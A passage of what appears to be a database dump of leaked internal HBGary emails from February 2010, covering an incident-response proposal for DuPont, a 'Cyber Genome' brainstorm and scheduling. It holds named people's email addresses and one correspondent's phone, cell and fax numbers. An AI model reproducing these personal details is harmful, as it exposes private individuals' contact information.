the user of a lost or stolen phone. Tarnovsky said he can\'t be sure, however, whether his attack would work on TPM chips made by companies other than Infineon. Infineon said it knew this type of attack was possible when it was testing its chips. But the company said independent tests determined that the hack would require such a high skill level that there was a limited chance of it affecting many users. ... The Trusted Computing Group, which sets standards on TPM chips, called the attack \"exceedingly difficult to replicate in a real-world environment.\"\'\"Read more of this story at Slashdot.\r\n\r\nFrom my iPhone',5495,'aaron_hbgary_com/5495.html'),(2366,'2010-02-10','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001084.M229285P3547Q2366.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Dupont Proposal v4  - Need your help to finish please','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nWere on the home stretch here.  A couple more things need to\r\nhappen to get this solidified, sent off to DuPont, and get us ready to deliver\r\nas soon as Monday.  Please look below and provide any input you may have.  \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFinish Proposal &#8211; This morning\r\n\r\no&nbsp;&nbsp;\r\nI accepted Phil&#8217;s suggestions and I&#8217;ve\r\nadded a couple comments.\r\n\r\no&nbsp;&nbsp;\r\nStill need pricing broken out for Task 2 &#8211;\r\nBob &#8211; Aaron &#8211; Ted, Penny?\r\n\r\no&nbsp;&nbsp;\r\nDo we remove Task 3 Remediation completely?  I\r\nthink so mainly because we don&#8217;t recommend trying to clean a machine but\r\nto only wipe and rebuild.  \r\n\r\no&nbsp;&nbsp;\r\nLegal Jargon needs to be reviewed and approved &#8211;\r\nPenny?\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nResources from Partners Foundstone or PWC &#8211; \r\nToday\r\n\r\no&nbsp;&nbsp;\r\nPrimary requirement for consultants would be to\r\nhelp out analyzing machines, documentation, tracking events and timeline.  \r\n\r\n§&nbsp; Phil\r\nsaid PWC could help &#8211; they would cost roughly 300 per hour\r\n\r\no&nbsp;&nbsp;\r\nWhat about Foundstone?  Penny\r\ncan you call them or let me know who the contact is and I will call them.\r\n\r\n§&nbsp; What\r\ndo they cost?  Who are they?  \r\n\r\n§&nbsp; How\r\nsoon can they be available?  Can we see resumes?  We should list the technical\r\nrequirements of the resources available\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nActive Defense Software from Engineering &#8211;\r\nRich is working with Greg\r\non this.  Phil what is missing, what are your\r\nthoughts?\r\n\r\no&nbsp;&nbsp;\r\nGreg is working to make sure I have a solid copy\r\nof Active Defense (AD) to use on site at the customers.\r\n\r\no&nbsp;&nbsp;\r\nGoal is to have a working copy of AD on my\r\nlaptop by Friday night so I can test this weekend and deploy on Monday\r\n\r\no&nbsp;&nbsp;\r\nTalk with Engineering about deploying the DDNA\r\nagent via Altiris using command line switches\r\n\r\n§&nbsp; Instead\r\nof using WMI through AD * this will happen frequently if customer has existing\r\nsystem they are familiar with\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nItems we need from DuPont prior to commencement\r\nof project &#8211; Phil, what is missing here?\r\n\r\no&nbsp;&nbsp;\r\nList of all security software and applications on\r\ntheir standard build of workstation and server\r\n\r\no&nbsp;&nbsp;\r\nCopies of known good Gold Builds or VMware images\r\nwould be great for us to make sure our DDNA is dialed-in for their known stuff\r\n\r\no&nbsp;&nbsp;\r\nNetwork diagrams to include Gateways, Routers,\r\nFirewalls, Ingress &amp; Egress points\r\n\r\no&nbsp;&nbsp;\r\nWhat Security related data is available to us?\r\n\r\n§&nbsp; SIM\r\nTool?\r\n\r\n§&nbsp; IDS?\r\nIPS?\r\n\r\n§&nbsp; Firewall\r\nLogs?\r\n\r\n§&nbsp; What\r\nis logging policy?  What is logged?  How long are logs kept?\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAdditional Software required by team to be\r\nsuccessful &#8211; Phil, Greg, Ted, Aaron? PWC and Foundstone\r\n\r\no&nbsp;&nbsp;\r\nForensics\r\n\r\n§&nbsp; Encase\r\nEnterprise &#8211; got it for enterprise searching, forensic preservation/duplication\r\nand analysis \r\n\r\no&nbsp;&nbsp;\r\nNetwork Data &#8211; \r\n\r\n§&nbsp; Log\r\nAnalysis\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSplunk &#8211; freeware to help analyze logs\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nOSSec- Open source log analysis\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIndexing Software &#8211; I&#8217;ve got a copy\r\nof DT Search to index logs if needed\r\n\r\n§&nbsp; Packet\r\nData Capture &amp; Analysis &#8211;\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWireshark &#8211; \r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNetwitness &#8211; freeware\r\n\r\no&nbsp;&nbsp;\r\nVisualization and Link Analysis\r\n\r\n§&nbsp; Palantir?\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI haven&#8217;t installed yet.. need to today\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nCan we get some Risk Intelligence from End-Game? \r\nAaron\r\n\r\no&nbsp;&nbsp;\r\nActive command and control servers for Aurora\r\n\r\no&nbsp;&nbsp;\r\nOther relevant info to help mitigate threats at\r\nthe gateway\r\n\r\n&nbsp;\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPlan the Mission:  Document the Action Plan,\r\nProcess, and Work-Flow (Phil, Rich, Greg, Ted, Aaron,\r\nPWC or Foundstone)\r\n\r\no&nbsp;&nbsp;\r\nDefine the Mission:  \r\n\r\n§&nbsp; HBGary\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIdentify any compromised hosts inside of the\r\nDupont Manufacturing facility &#8211; Up to 600 Windows machines\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProvide a &#8220;Risk Intelligence&#8221; report\r\nto help Dupont explaining the nature of any found threats\r\n\r\n§&nbsp; Dupont\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDupont wants to build a case for a more\r\ncomprehensive security strategy and approach to mitigating risk across the\r\nenterprise\r\n\r\n·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDupont is hopeful this investigation will help\r\nthem to get the executive support needed to accomplish this goal \r\n\r\no&nbsp;&nbsp;\r\nWhat are we going to do?\r\n\r\no&nbsp;&nbsp;\r\nHow are we going to do this?\r\n\r\n§&nbsp; Task\r\n1 &#8211; list out details for each task \r\n\r\n§&nbsp; Task\r\n2\r\n\r\n§&nbsp; Task\r\n3\r\n\r\no&nbsp;&nbsp;\r\nDominate the Environment - Roles and Responsibilities\r\n\r\n§&nbsp; Who\r\nis who in the zoo?\r\n\r\no&nbsp;&nbsp;\r\nWhat could possibly go wrong in the order of probability\r\n\r\no&nbsp;&nbsp;\r\nWhat are the contingencies and countermeasures?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThanks,\r\nRich\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14208,'aaron_hbgary_com/14208.html'),(2367,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001084.M657699P3547Q2367.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: Dupont SOW','cool.  What time works.  I am having lunch with Nolan from Infosecurity and have a 3pm meeting.\r\n\r\nAaron\r\n\r\nOn Feb 9, 2010, at 8:46 PM, Phil Wallisch wrote:\r\n\r\n> Looks like lunch is out but we can still do the call.\r\n> \r\n> On Tuesday, February 9, 2010, Aaron Barr  wrote:\r\n>> We still on this week?\r\n>> \r\n>> From my iPhone\r\n>> On Feb 9, 2010, at 8:30 PM, Phil Wallisch  wrote:\r\n>> \r\n>> \r\n>> Comments attached.  Their blended rate is about $300/hr.\r\n>> \r\n>> On Tue, Feb 9, 2010 at 7:31 PM, Rich Cummings  wrote:\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> Guys,\r\n>> \r\n>> \r\n>> \r\n>> Please take a look at the scope of work for Dupont, we need\r\n>> to get this out to them ASAP.\r\n>> \r\n>> \r\n>> \r\n>> Things we still need.\r\n>> \r\n>> \r\n>> \r\n>> 1.\r\n>> Pricing – see what is in the doc…  I\r\n>> think we should provide an hourly rate like Aaron and I discussed ($300 per\r\n>> hour).  It’s currently got something that appears to be a  Firm\r\n>> Fixed Price… not going to fly here in my opinion.  While I believe\r\n>> we could charge them more, I don’t want to take advantage of them.  This\r\n>> is to set them up for a long term relationship and enterprise purchase.\r\n>> \r\n>> 2.\r\n>> How much will foundstone and PWC charge to us as a\r\n>> sub-contractor?\r\n>> \r\n>> a.       Phil?\r\n>> Do you know how much they would charge us?\r\n>> \r\n>> b.      Penny,\r\n>> what about Foundstone prices?\r\n>> \r\n>> 3.\r\n>> I believe we also need to propose 3 to 4 people for\r\n>> this project for Phase 1.   Personally I would like to back out after\r\n>> Phase 1 and the beginning of phase 2 so I can get back to HBGary work.\r\n>> With that said it would be nice to have 3 guys from either PWC or Foundstone to\r\n>> augment myself and Phil’s work.\r\n>> \r\n>> \r\n>> \r\n>> Rich\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14395,'aaron_hbgary_com/14395.html'),(2368,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001084.M848480P3547Q2368.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,','Re: Ideas - Cybergenome','Not yet. &nbsp;I will create one. &nbsp;If you want to send me ur ideas I will add it and distribute.AaronOn Feb 10, 2010, at 6:35 AM, Rich Cummings wrote:Do we have a running spreadsheet or doc created yet for the cyber-genome proposals?&nbsp;I’ve got some ideas to start adding.&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16357,'aaron_hbgary_com/16357.html'),(2369,'2010-02-10','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001085.M386723P3547Q2370.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Ideas - Cybergenome','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere is an overall list of objects I&#8217;m thinking about&#8230;\r\nwhat do you think?\r\n\r\n&nbsp;\r\n\r\nCyber Genome Categories List\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nData in motion \r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Examples\r\nnetwork traffic \r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wireless\r\ncommunications\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cell\r\nphone communications\r\n\r\nd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Radio\r\nComms\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nData at rest\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Static\r\nData on DISK, in database, \r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Graphics,\r\ndocuments, key data, \r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nData at execution\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Programs\r\nin memory\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Executable\r\ncode\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Microcode\r\nin processor\r\n\r\nd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Emulation\r\n\r\n\r\ne.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Layers\r\nof abstraction\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nData in firmware &#8211; ROM&#8217;s\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BIOS\r\ncode integrity checking/verification\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Loaded\r\nfirmware objects\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Network\r\ncard firmware\r\n\r\nd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Modem\r\nFirmware\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUser Data &amp; Meta Data\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SSID,\r\nTags, \r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; User\r\ndata, activity, history\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Typing\r\nprofiles, dates and time stamp\r\n\r\nd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Profiling\r\nbased on behaviors and base lining\r\n\r\n6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHardware Objects\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Motherboard\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mouse\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Keyboard\r\n\r\nd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ports\r\n\r\ne.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Network\r\ncards/devices \r\n\r\nf.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNetwork Devices\r\n\r\ng.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Other\r\nperipherals\r\n\r\n7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nInternet Objects\r\n\r\na.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Locations\r\n\r\nb.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Management\r\n\r\nc.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Reputation\r\n\r\nd.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ownership\r\n\r\ne.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Routes\r\n\r\nf.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDNS \r\n\r\ng.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Address\r\nresolution \r\n\r\n8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nRelationships, Layers, Symbiotic relationships, Social, Dimensions,\r\nLayers of Abstraction\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 10, 2010 8:23 AM\r\nTo: Rich Cummings\r\nCc: \'Bob Slapnik\'; \'Ted Vera\'; \'Greg Hoglund\'\r\nSubject: Re: Ideas - Cybergenome\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNot yet. &nbsp;I will create one. &nbsp;If you want to send\r\nme ur ideas I will add it and distribute.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 10, 2010, at 6:35 AM, Rich Cummings wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDo\r\nwe have a running spreadsheet or doc created yet for the cyber-genome proposals?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve\r\ngot some ideas to start adding.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9976,'aaron_hbgary_com/9976.html'),(2370,'2010-02-10','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001085.M586457P3547Q2371.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Do any of your guys have','Not practical IR experience.  I am sure some of the guys have done it as\r\na matter of their program work.\r\n\r\nTalk:  yeah, when?  I have a 10-12.  How about right after that at 12?\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 10, 2010 8:38 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Do any of your guys have\r\n\r\nIR experience background?\r\n\r\nI am going to start getting more incident response requests.  I am\r\ncurrently going to use Foundstone and PwC but was wondering if your guys\r\nhad any background here?\r\n\r\ncan we talk today?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11072,'aaron_hbgary_com/11072.html'),(2371,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001085.M61198P3547Q2369.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Do any of your guys have','IR experience background?\r\n\r\nI am going to start getting more incident response requests.  I am currently going to use Foundstone and PwC but was wondering if your guys had any background here?\r\n\r\ncan we talk today?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3787,'aaron_hbgary_com/3787.html'),(2372,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001085.M879304P3547Q2372.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Dupont Proposal v4  - Need your help to finish please','Looking over...at some point I would like to talk to you about your approach, methods for conducting the assessment.AaronOn Feb 10, 2010, at 8:14 AM, Rich Cummings wrote:All,&nbsp;Were on the home stretch here.&nbsp; A couple more things need to happen to get this solidified, sent off to DuPont, and get us ready to deliver as soon as Monday.&nbsp; Please look below and provide any input you may have.&nbsp;&nbsp;&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Finish Proposal – This morningo&nbsp;&nbsp;&nbsp;I accepted Phil’s suggestions and I’ve added a couple comments.o&nbsp;&nbsp;&nbsp;Still need pricing broken out for Task 2 –&nbsp;Bob – Aaron – Ted, Penny?o&nbsp;&nbsp;&nbsp;Do we remove Task 3 Remediation completely?&nbsp; I think so mainly because we don’t recommend trying to clean a machine but to only wipe and rebuild.&nbsp;o&nbsp;&nbsp;&nbsp;Legal Jargon needs to be reviewed and approved –&nbsp;Penny?·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Resources from Partners Foundstone or PWC –&nbsp; Todayo&nbsp;&nbsp;&nbsp;Primary requirement for consultants would be to help out analyzing machines, documentation, tracking events and timeline.&nbsp;§&nbsp;&nbsp;Phil said PWC could help – they would cost roughly 300 per houro&nbsp;&nbsp;&nbsp;What about Foundstone?&nbsp;&nbsp;Penny&nbsp;can you call them or let me know who the contact is and I will call them.§&nbsp;&nbsp;What do they cost?&nbsp; Who are they?&nbsp;§&nbsp;&nbsp;How soon can they be available?&nbsp; Can we see resumes?&nbsp; We should list the technical requirements of the resources available·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Active Defense Software from Engineering –&nbsp;Rich&nbsp;is working with&nbsp;Greg&nbsp;on this.&nbsp;&nbsp;Phil what is missing, what are your thoughts?o&nbsp;&nbsp;&nbsp;Greg is working to make sure I have a solid copy of Active Defense (AD) to use on site at the customers.o&nbsp;&nbsp;&nbsp;Goal is to have a working copy of AD on my laptop by Friday night so I can test this weekend and deploy on Mondayo&nbsp;&nbsp;&nbsp;Talk with Engineering about deploying the DDNA agent via Altiris using command line switches§&nbsp;&nbsp;Instead of using WMI through AD * this will happen frequently if customer has existing system they are familiar with·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Items we need from DuPont prior to commencement of project –&nbsp;Phil, what is missing here?o&nbsp;&nbsp;&nbsp;List of all security software and applications on their standard build of workstation and servero&nbsp;&nbsp;&nbsp;Copies of known good Gold Builds or VMware images would be great for us to make sure our DDNA is dialed-in for their known stuffo&nbsp;&nbsp;&nbsp;Network diagrams to include Gateways, Routers, Firewalls, Ingress &amp; Egress pointso&nbsp;&nbsp;&nbsp;What Security related data is available to us?§&nbsp;&nbsp;SIM Tool?§&nbsp;&nbsp;IDS? IPS?§&nbsp;&nbsp;Firewall Logs?§&nbsp;&nbsp;What is logging policy?&nbsp; What is logged?&nbsp; How long are logs kept?·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Additional Software required by team to be successful –&nbsp;Phil, Greg, Ted, Aaron? PWC and Foundstoneo&nbsp;&nbsp;&nbsp;Forensics§&nbsp;&nbsp;Encase Enterprise – got it for enterprise searching, forensic preservation/duplication and analysiso&nbsp;&nbsp;&nbsp;Network Data –§&nbsp;&nbsp;Log Analysis·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Splunk – freeware to help analyze logs·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OSSec- Open source log analysis·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Indexing Software – I’ve got a copy of DT Search to index logs if needed§&nbsp;&nbsp;Packet Data Capture &amp; Analysis –·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Wireshark –·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Netwitness – freewareo&nbsp;&nbsp;&nbsp;Visualization and Link Analysis§&nbsp;&nbsp;Palantir?·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I haven’t installed yet.. need to today·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Can we get some Risk Intelligence from End-Game?&nbsp;&nbsp;Aarono&nbsp;&nbsp;&nbsp;Active command and control servers for Aurorao&nbsp;&nbsp;&nbsp;Other relevant info to help mitigate threats at the gateway&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Plan the Mission:&nbsp; Document the Action Plan, Process, and Work-Flow (Phil, Rich, Greg, Ted, Aaron, PWC or Foundstone)o&nbsp;&nbsp;&nbsp;Define the Mission:&nbsp;§&nbsp;&nbsp;HBGary·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Identify any compromised hosts inside of the Dupont Manufacturing facility – Up to 600 Windows machines·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Provide a “Risk Intelligence” report to help Dupont explaining the nature of any found threats§&nbsp;&nbsp;Dupont·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dupont wants to build a case for a more comprehensive security strategy and approach to mitigating risk across the enterprise·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dupont is hopeful this investigation will help them to get the executive support needed to accomplish this goalo&nbsp;&nbsp;&nbsp;What are we going to do?o&nbsp;&nbsp;&nbsp;How are we going to do this?§&nbsp;&nbsp;Task 1 – list out details for each task§&nbsp;&nbsp;Task 2§&nbsp;&nbsp;Task 3o&nbsp;&nbsp;&nbsp;Dominate the Environment - Roles and Responsibilities§&nbsp;&nbsp;Who is who in the zoo?o&nbsp;&nbsp;&nbsp;What could possibly go wrong in the order of probabilityo&nbsp;&nbsp;&nbsp;What are the contingencies and countermeasures?&nbsp;&nbsp;Thanks,Rich&nbsp;&lt;Services Proposal for Dupont ver4_RWC.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',14076,'aaron_hbgary_com/14076.html'),(2373,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001086.M191510P3547Q2373.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Do any of your guys have','sounds good.  I have another snow bound day.  I am sure the NGES meeting will not go on as planned. We have a backup time on Friday at 3pm.  How did your conversation with Jadik go?  Is he going to be at the Friday discussion?  What would you think about a GD/NGES/HBGary team going after the DARPA BAA?\r\n\r\nAaron\r\nOn Feb 10, 2010, at 8:44 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Not practical IR experience.  I am sure some of the guys have done it as\r\n> a matter of their program work.\r\n> \r\n> Talk:  yeah, when?  I have a 10-12.  How about right after that at 12?\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, IO Programs \r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, February 10, 2010 8:38 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Do any of your guys have\r\n> \r\n> IR experience background?\r\n> \r\n> I am going to start getting more incident response requests.  I am\r\n> currently going to use Foundstone and PwC but was wondering if your guys\r\n> had any background here?\r\n> \r\n> can we talk today?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12114,'aaron_hbgary_com/12114.html'),(2374,'2010-02-10','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297001086.M400021P3547Q2374.eml','\"Aaron Barr\" <aaron@hbgary.com>','Invitation: Call with Aaron and Phil @ Wed Feb 10 11am - 11:30am 	(aaron@hbgary.com)',' more details &raquo;Call with Aaron and PhilWhenWed Feb 10 11am – 11:30am Eastern TimeWherephone (map)Calendaraaron@hbgary.comWho&#x2022;Phil Wallisch - organizer&#x2022;Aaron BarrGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',13379,'aaron_hbgary_com/13379.html'),(2375,'2010-02-10','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001086.M911181P3547Q2375.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Dupont Proposal v4  - Need your help to finish please','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for your help on this, I really want to get a home run\r\nhere.  Can you call me after you look it over and we can talk about approach\r\nand methods 